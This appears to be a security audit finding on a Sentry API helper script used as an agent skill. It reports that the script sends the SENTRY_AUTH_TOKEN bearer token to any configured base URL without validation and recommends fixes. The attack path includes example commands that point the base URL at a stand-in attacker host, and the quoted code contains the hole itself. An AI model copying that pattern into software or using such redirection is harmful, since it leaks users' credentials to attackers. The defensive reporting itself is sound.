T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/sentry_api.py:159
- Finding
- Unrestricted API Base URL Can Disclose the Sentry Authentication Token## Vulnerability Details **File Location**: `scripts/sentry_api.py`, lines 53–54, 159–163, and 206–210 **Vulnerability Type**: Bearer-token disclosure through an unrestricted network destination **Risk Level**: High ### Vulnerable Code ```python def request_json(url, token, retries=1): req = Request(url) req.add_header("Authorization", f"Bearer {token}") req.add_header("Accept", "application/json") ``` ```python parser.add_argument( "--base-url", default=os.environ.get("SENTRY_BASE_URL", DEFAULT_BASE_URL), help="Sentry base URL (default: https://sentry.io)", ) ``` ```python token = os.environ.get("SENTRY_AUTH_TOKEN") if not token: raise RuntimeError("Missing SENTRY_AUTH_TOKEN env var.") base_url = args.base_url ``` ### Technical Analysis The script obtains `SENTRY_AUTH_TOKEN` from the environment and unconditionally places it in the `Authorization: Bearer` header of requests constructed from the configured base URL. The base URL is accepted from either the `--base-url` command-line option or the `SENTRY_BASE_URL` environment variable without validating its scheme or hostname. Consequently, the destination may be an arbitrary attacker-controlled server. The script also does not require HTTPS, so a URL using plaintext HTTP can expose the token to network observers. Supporting self-hosted Sentry is legitimate, but unrestricted destination selection is broader than the minimum privilege required and lacks a trust boundary around credential transmission. ### Attack Path 1. An attacker or compromised execution environment influences the command arguments or environment variables used to invoke the Skill. 2. The attacker sets an arbitrary endpoint, for example: ```bash export SENTRY_BASE_URL=http://attacker.example ``` Alternatively, the attacker supplies: ```bash python3 scripts/sentry_api.py --base-url http://attacker.example issue-detail 123 ...[truncated 1102 chars]
- Remediation
- ## Remediation Suggestions 1. Require `https` for all authenticated endpoints. Reject `http`, missing schemes, local file schemes, and any non-HTTP(S) scheme. 2. Permit `sentry.io` by default and require self-hosted destinations to be explicitly included in a trusted-host allowlist. 3. Parse and canonicalize URLs with `urllib.parse.urlsplit`; reject embedded credentials, unexpected ports, fragments, and malformed hostnames. 4. Ensure redirects cannot forward the `Authorization` header to a different origin. Either disable redirects or validate every redirect target and rebuild authenticated requests only when the scheme, hostname, and effective port remain trusted. 5. Treat environment-provided configuration as untrusted input. Do not infer that `SENTRY_BASE_URL` is safe merely because it originates from the environment. 6. Display the normalized destination before the first authenticated request when a non-default self-hosted endpoint is used, and require explicit trusted configuration rather than silently accepting it. 7. Document that the authentication token is transmitted to the configured self-hosted server and recommend narrowly scoped, read-only, short-lived tokens. 8. Add automated tests confirming rejection of plaintext HTTP, arbitrary external hosts, credential-bearing URLs, malformed URLs, and cross-origin redirects.